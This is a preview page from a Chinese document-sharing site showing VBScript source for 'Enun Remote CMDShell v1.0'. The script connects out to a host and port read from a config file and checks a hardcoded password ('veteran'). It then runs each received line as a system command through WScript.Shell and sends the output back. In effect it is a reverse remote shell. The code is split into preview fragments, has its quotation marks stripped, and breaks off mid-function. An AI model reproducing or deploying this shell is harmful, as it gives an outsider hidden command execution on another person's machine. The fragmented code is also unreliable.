VBScriptEnunRemoteShell代码.doc_第1页
VBScriptEnunRemoteShell代码.doc_第2页
VBScriptEnunRemoteShell代码.doc_第3页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、效果如图:代码如下 := Enun Remote CMDShell v 1.0=Option ExplicitCONST ACCOUNT_LOCK_TIME = 600000 账户锁定时间,10 分钟CONST LOCKOUT_BAD_COUNT = 3 密码失败次数CONST DEFAULT_WAIT_TIME = 1000 默认延时, 1 秒CONST DEFAULT_TIME_OUT = 60000 默认超时, 60 秒Public WinSocket, sRevData, CountDoOn Error Resume NextDo While (WinSocket.State <

2、> 7)Dim ObjectFSO, GetConfig, Line, Host, Port, iSet WinSocket = WScript.CreateObject(MSWinsock.Winsock)Set ObjectFSO = CreateObject(Scripting.FileSystemObject)Set GetConfig = ObjectFSO.OpenTextFile(.enunrc.ini, 1)For i = 1 To 3Line = GetConfig.ReadLineIf InStr(Line,Host) > 0 Then Host = Split

3、(Line, =, -1, 1)(1) If InStr(Line,Port) > 0 Then Port = Split(Line, =, -1, 1)(1) NextIf (Len(Host) = 0) Then Host = If (Len(Port) = 0) Then Port = 8090WinSocket.Protocol = 0WinSocket.RemoteHost = HostWinSocket.RemotePort = PortWinSocket.ConnectWScript.Sleep DEFAULT_WAIT_TIME * 5Call Trac

4、kScript(2, WinSocket.State, WinSocket.BytesReceived)Setp: 2LoopDo While (WinSocket.State <> 9 and WinSocket.State <> 0) Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N TIMEOUT_N = 0WinSocket.SendData WinSocket.LocalHostName & is Connected, Enter Password: Do While (WinSocket.Bytes

5、Received = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)TIMEOUT_N = TIMEOUT_N + 1000Call ControlTimeout(TIMEOUT_N)LoopWinSocket.GetData Authkey, vbStringIf Split(Authkey, chr(10), -1, 1)(0) = veteran Then WinSocket.SendData Logon Success, Welcome! & vbcrlf sRevData = veteranDo

6、 While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)Dim ShellObj, ExecutesSet ShellObj = CreateObject(WScript.Shell)Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0) WinSocket.SendData Executes.StdOut.ReadAll WinSocket.SendData Executes.Std

7、Err.ReadAll If (Len(sRevData) > 0) ThenTIMEOUT_M = 0WinSocket.SendData vbcrlf & & WinSocket.LocalHostName & enun#:ElseDo While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)TIMEOUT_M = TIMEOUT_M + 1000Call ControlTimeout(TIMEOUT_M)LoopEnd I

8、fIf (LCase(Left(sRevData, 4) = exit) Then WinSocket.CloseWinSocket.GetData sRevData, vbStringWScript.Sleep DEFAULT_WAIT_TIMECall TrackScript(5, WinSocket.State, WinSocket.BytesReceived)Setp: 5LoopElseLockoutBadCount = LockoutBadCount + 1WinSocket.SendData Logon fail: Unknown user name or bad passwor

9、d. & vbcrlfWScript.Sleep DEFAULT_WAIT_TIMEEnd IfIf (LockoutBadCount = LOCKOUT_BAD_COUNT) ThenWinSocket.SendData Failed too many times, the account has been locked! & vbcrlf WScript.Sleep DEFAULT_WAIT_TIMEWinSocket.CloseLockoutBadCount = 0WScript.Sleep ACCOUNT_LOCK_TIME锁定账户End IfCall TrackScr

10、ipt(3, WinSocket.State, WinSocket.BytesReceived)Setp: 3LoopCall TrackScript(1, WinSocket.State, WinSocket.BytesReceived)Setp: 1Loop=Control Timeout.=Public Sub ControlTimeout(Count)If Count = DEFAULT_TIME_OUT ThenWinSocket.SendData vbcrlf & Local server response timeout, Please reconnect . & vbcrlfWScript.Sleep DEFAULT_WAIT_TIMEWinSocket.Close控制端 60 秒内无输入的话,连接自动断开,可即时连接。ElseWScript.Sleep DEFAULT_WAIT_TIMEEnd IfCall TrackScript(4, WinSocket.State, WinSocket.BytesReceived)Setp: 4End Sub=Track Script.=Public Sub TrackScript(M

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论